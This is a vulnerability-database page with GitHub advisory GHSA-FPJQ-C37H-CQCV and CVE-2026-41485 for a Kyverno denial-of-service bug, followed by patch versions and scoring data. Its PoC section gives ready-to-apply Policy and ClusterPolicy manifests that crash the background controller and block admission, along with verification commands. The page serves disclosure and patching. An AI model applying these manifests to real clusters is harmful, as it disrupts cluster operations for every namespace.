Vulnerability-Lookup

GHSA-FPJQ-C37H-CQCV

Vulnerability from github – Published: 2026-04-24 20:40 – Updated: 2026-04-24 20:40

Summary

Kyverno Controller Denial of Service via forEach Mutation Panic

Details

Summary

An unchecked type assertion in the forEach mutation handler allows any user with permission to create a Policy or ClusterPolicy to crash the cluster-wide background controller into a persistent CrashLoopBackOff. The same bug also causes the admission controller to drop connections and block all matching resource operations. The crash loop persists until the policy is deleted. The vulnerability is confined to the legacy engine, and CEL-based policies are unaffected.

Details

In pkg/engine/mutate/mutation.go, the ForEach function performs a bare type assertion on a map value that can be nil:

patcher := NewPatcher(fe["patchStrategicMerge"], fe["patchesJson6902"].(string))

When a forEach rule uses a patchesJson6902 field containing a variable substitution (e.g., {{ element.nonexistent }}) that resolves to nil at runtime, the type assertion .(string) on a nil interface{} triggers an unrecoverable Go panic:

panic: interface conversion: interface {} is nil, not string

When a mutateExisting rule triggers, the admission controller creates an UpdateRequest resource that the background controller processes asynchronously. This resource survives controller restarts, re-triggering the panic on every restart until the policy or UpdateRequest is deleted.

The background controller processes mutateExisting rules in worker goroutines where k8s.io/apimachinery/pkg/util/runtime.HandleCrash catches panics but re-panics by default, killing the process. The admission controller survives because Go's net/http server absorbs panics in handler goroutines via defer recover(), though the connection is dropped.

The vulnerable code was introduced in #10702. Kyverno versions v1.13.0 to v1.17.1 are affected.

PoC

Apply the following manifest:

# --- PoC A: Namespaced Policy crashes the background controller ---
apiVersion: kyverno.io/v1
kind: Policy
metadata:
  name: poc-background-crash
  namespace: default
spec:
  mutateExistingOnPolicyUpdate: true
  rules:
  - name: crash-foreach-nil
    match:
      any:
      - resources:
          kinds:
          - ConfigMap
    mutate:
      targets:
      - apiVersion: v1
        kind: ConfigMap
        name: poc-target
        namespace: default
      foreach:
      - list: "target.data | keys(@)"
        patchesJson6902: "{{ element.nonexistent }}"
---
apiVersion: v1
kind: ConfigMap
metadata:
  name: poc-target
  namespace: default
data:
  key1: value1
---
# This ConfigMap creation triggers the mutateExisting rule via UpdateRequest
apiVersion: v1
kind: ConfigMap
metadata:
  name: poc-trigger
  namespace: default
data:
  trigger: "true"
---
# --- PoC B: ClusterPolicy panics the admission controller (connection drop) ---
# Effect: all Secret create/update operations are blocked cluster-wide
# The admission controller does not crash (net/http recovers), but every
# matching request gets EOF -> webhook failure -> denied
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: poc-admission-panic
spec:
  rules:
  - name: panic-foreach-nil
    match:
      any:
      - resources:
          kinds:
          - Secret
    mutate:
      foreach:
      - list: "request.object.data | keys(@)"
        patchesJson6902: "{{ element.nonexistent }}"

Verify:

# After ~5 seconds, background controller is in CrashLoopBackOff:
kubectl get pods -n kyverno -l app.kubernetes.io/component=background-controller

# Admission panic — all Secret operations fail with EOF:
kubectl create secret generic test-secret --from-literal=key=value
# Error: failed calling webhook "mutate.kyverno.svc-fail": ... EOF

Admission controller logs:

http: panic serving 10.244.0.1:64359: interface conversion: interface {} is nil, not string
goroutine 1914 [running]:
net/http.(*conn).serve.func1()
        net/http/server.go:1943 +0xb4
panic({0x3947fc0?, 0x40023e3890?})
        runtime/panic.go:783 +0x120
github.com/kyverno/kyverno/pkg/engine/mutate.ForEach({0x394e240?, 0x0?}, {{0x4001c3f300, 0x1d}, 0x0, {0x0, 0x0, 0x0}, 0x0, 0x0, ...}, ...)
        github.com/kyverno/kyverno/pkg/engine/mutate/mutation.go:81 +0x3e0
github.com/kyverno/kyverno/pkg/engine/handlers/mutation.(*forEachMutator).mutateElements(0x4002609410, {0x4cd78d8, 0x40023b1d10}, {{0x4001c3f300, 0x1d}, 0x0, {0x0, 0x0, 0x0}, 0x0, ...}, ...)
        github.com/kyverno/kyverno/pkg/engine/handlers/mutation/common.go:126 +0x4e8
github.com/kyverno/kyverno/pkg/engine/handlers/mutation.(*forEachMutator).mutateForEach(0x4002609410, {0x4cd78d8, 0x40023b1d10})
...

Impact

Persistent denial of service of cluster-wide Kyverno controllers. Policy is a namespaced resource whose creation can be delegated to namespace users via standard Role/RoleBinding, without granting any cluster-level permissions. Such a user can:

Crash the background controller into a persistent CrashLoopBackOff, halting all background processing (generate rules, mutateExisting rules, cleanup) across all namespaces in the cluster, not just their own.
Block admission operations for matched resource kinds within their namespace via the admission controller webhook panic path. With a ClusterPolicy (requiring cluster-level RBAC), the admission block extends cluster-wide.

The crash loop is self-sustaining because the poisoned UpdateRequest remains in the queue and re-triggers the panic on every controller restart.

Severity

7.7 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/kyverno/kyverno"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.13.0"
            },
            {
              "fixed": "1.16.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/kyverno/kyverno"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.17.0-rc.1"
            },
            {
              "fixed": "1.17.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41485"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-617"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-24T20:40:39Z",
    "nvd_published_at": "2026-04-24T04:16:21Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nAn unchecked type assertion in the `forEach` mutation handler allows any user with permission to create a `Policy` or `ClusterPolicy` to crash the cluster-wide background controller into a persistent CrashLoopBackOff. The same bug also causes the admission controller to drop connections and block all matching resource operations. The crash loop persists until the policy is deleted. The vulnerability is confined to the legacy engine, and CEL-based policies are unaffected.\n\n### Details\n\nIn `pkg/engine/mutate/mutation.go`, the `ForEach` function performs a bare type assertion on a map value that can be nil:\n\n```go\npatcher := NewPatcher(fe[\"patchStrategicMerge\"], fe[\"patchesJson6902\"].(string))\n```\n\nWhen a `forEach` rule uses a `patchesJson6902` field containing a variable substitution (e.g., `{{ element.nonexistent }}`) that resolves to `nil` at runtime, the type assertion `.(string)` on a nil `interface{}` triggers an unrecoverable Go panic:\n\n```\npanic: interface conversion: interface {} is nil, not string\n```\n\nWhen a `mutateExisting` rule triggers, the admission controller creates an `UpdateRequest` resource that the background controller processes asynchronously. This resource survives controller restarts, re-triggering the panic on every restart until the policy or `UpdateRequest` is deleted.\n\nThe background controller processes `mutateExisting` rules in worker goroutines where `k8s.io/apimachinery/pkg/util/runtime.HandleCrash` catches panics but re-panics by default, killing the process. The admission controller survives because Go\u0027s `net/http` server absorbs panics in handler goroutines via  `defer recover()`, though the connection is dropped.\n\nThe vulnerable code was introduced in #10702. Kyverno versions v1.13.0 to v1.17.1 are affected.\n\n### PoC\n\nApply the following manifest:\n\n```yaml\n# --- PoC A: Namespaced Policy crashes the background controller ---\napiVersion: kyverno.io/v1\nkind: Policy\nmetadata:\n  name: poc-background-crash\n  namespace: default\nspec:\n  mutateExistingOnPolicyUpdate: true\n  rules:\n  - name: crash-foreach-nil\n    match:\n      any:\n      - resources:\n          kinds:\n          - ConfigMap\n    mutate:\n      targets:\n      - apiVersion: v1\n        kind: ConfigMap\n        name: poc-target\n        namespace: default\n      foreach:\n      - list: \"target.data | keys(@)\"\n        patchesJson6902: \"{{ element.nonexistent }}\"\n---\napiVersion: v1\nkind: ConfigMap\nmetadata:\n  name: poc-target\n  namespace: default\ndata:\n  key1: value1\n---\n# This ConfigMap creation triggers the mutateExisting rule via UpdateRequest\napiVersion: v1\nkind: ConfigMap\nmetadata:\n  name: poc-trigger\n  namespace: default\ndata:\n  trigger: \"true\"\n---\n# --- PoC B: ClusterPolicy panics the admission controller (connection drop) ---\n# Effect: all Secret create/update operations are blocked cluster-wide\n# The admission controller does not crash (net/http recovers), but every\n# matching request gets EOF -\u003e webhook failure -\u003e denied\napiVersion: kyverno.io/v1\nkind: ClusterPolicy\nmetadata:\n  name: poc-admission-panic\nspec:\n  rules:\n  - name: panic-foreach-nil\n    match:\n      any:\n      - resources:\n          kinds:\n          - Secret\n    mutate:\n      foreach:\n      - list: \"request.object.data | keys(@)\"\n        patchesJson6902: \"{{ element.nonexistent }}\"\n```\n\nVerify:\n\n```bash\n# After ~5 seconds, background controller is in CrashLoopBackOff:\nkubectl get pods -n kyverno -l app.kubernetes.io/component=background-controller\n\n# Admission panic \u2014 all Secret operations fail with EOF:\nkubectl create secret generic test-secret --from-literal=key=value\n# Error: failed calling webhook \"mutate.kyverno.svc-fail\": ... EOF\n```\n\nAdmission controller logs:\n\n```\nhttp: panic serving 10.244.0.1:64359: interface conversion: interface {} is nil, not string\ngoroutine 1914 [running]:\nnet/http.(*conn).serve.func1()\n        net/http/server.go:1943 +0xb4\npanic({0x3947fc0?, 0x40023e3890?})\n        runtime/panic.go:783 +0x120\ngithub.com/kyverno/kyverno/pkg/engine/mutate.ForEach({0x394e240?, 0x0?}, {{0x4001c3f300, 0x1d}, 0x0, {0x0, 0x0, 0x0}, 0x0, 0x0, ...}, ...)\n        github.com/kyverno/kyverno/pkg/engine/mutate/mutation.go:81 +0x3e0\ngithub.com/kyverno/kyverno/pkg/engine/handlers/mutation.(*forEachMutator).mutateElements(0x4002609410, {0x4cd78d8, 0x40023b1d10}, {{0x4001c3f300, 0x1d}, 0x0, {0x0, 0x0, 0x0}, 0x0, ...}, ...)\n        github.com/kyverno/kyverno/pkg/engine/handlers/mutation/common.go:126 +0x4e8\ngithub.com/kyverno/kyverno/pkg/engine/handlers/mutation.(*forEachMutator).mutateForEach(0x4002609410, {0x4cd78d8, 0x40023b1d10})\n...\n```\n\n### Impact\n\nPersistent denial of service of cluster-wide Kyverno controllers. `Policy` is a namespaced resource whose creation can be delegated to namespace users via standard Role/RoleBinding, without granting any cluster-level permissions. Such a user can:\n\n1. Crash the background controller into a persistent CrashLoopBackOff, halting all background processing (generate rules, mutateExisting rules, cleanup) across all namespaces in the cluster, not just their own.\n2. Block admission operations for matched resource kinds within their namespace via the admission controller webhook panic path. With a `ClusterPolicy` (requiring cluster-level RBAC), the admission block extends cluster-wide.\n\nThe crash loop is self-sustaining because the poisoned `UpdateRequest` remains in the queue and re-triggers the panic on every controller restart.",
  "id": "GHSA-fpjq-c37h-cqcv",
  "modified": "2026-04-24T20:40:39Z",
  "published": "2026-04-24T20:40:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-fpjq-c37h-cqcv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41485"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kyverno/kyverno/commit/76c8fdbe87328722e099e1fd44c3f21c9f7809cb"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kyverno/kyverno/commit/80e728c2283a0c65e5adb02d8a907106e6ebe7e3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kyverno/kyverno"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Kyverno Controller Denial of Service via forEach Mutation Panic"
}

CVE-2026-41485 (GCVE-0-2026-41485)

Vulnerability from cvelistv5 – Published: 2026-04-24 03:27 – Updated: 2026-04-24 18:53

Title

Kyverno Controller Denial of Service via forEach Mutation Panic

Summary

Kyverno is a policy engine designed for cloud native platform engineering teams. Prior to versions 1.17.2 and 1.16.4, an unchecked type assertion in the `forEach` mutation handler allows any user with permission to create a `Policy` or `ClusterPolicy` to crash the cluster-wide background controller into a persistent CrashLoopBackOff. The same bug also causes the admission controller to drop connections and block all matching resource operations. The crash loop persists until the policy is deleted. The vulnerability is confined to the legacy engine, and CEL-based policies are unaffected. Versions 1.17.2 and 1.16.4 fix the issue.

Severity

7.7 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-617 - Reachable Assertion

Assigner

GitHub_M

References

3 references

URL	Tags
https://github.com/kyverno/kyverno/security/advis…	x_refsource_CONFIRM
https://github.com/kyverno/kyverno/commit/76c8fdb…	x_refsource_MISC
https://github.com/kyverno/kyverno/commit/80e728c…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
kyverno	kyverno	Affected: < 1.16.4 Affected: >= 1.17.0-rc1, < 1.17.2

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
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        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-41485",
                "options": [
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                    "Exploitation": "poc"
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                    "Automatable": "no"
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                  {
                    "Technical Impact": "partial"
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                "role": "CISA Coordinator",
                "timestamp": "2026-04-24T18:52:40.901788Z",
                "version": "2.0.3"
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    "cna": {
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          "vendor": "kyverno",
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              "status": "affected",
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        }
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      "metrics": [
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            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
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            "privilegesRequired": "LOW",
            "scope": "CHANGED",
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Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-FPJQ-C37H-CQCV

Summary

Details

PoC

Impact

CVE-2026-41485 (GCVE-0-2026-41485)

Tags

Sightings

Nomenclature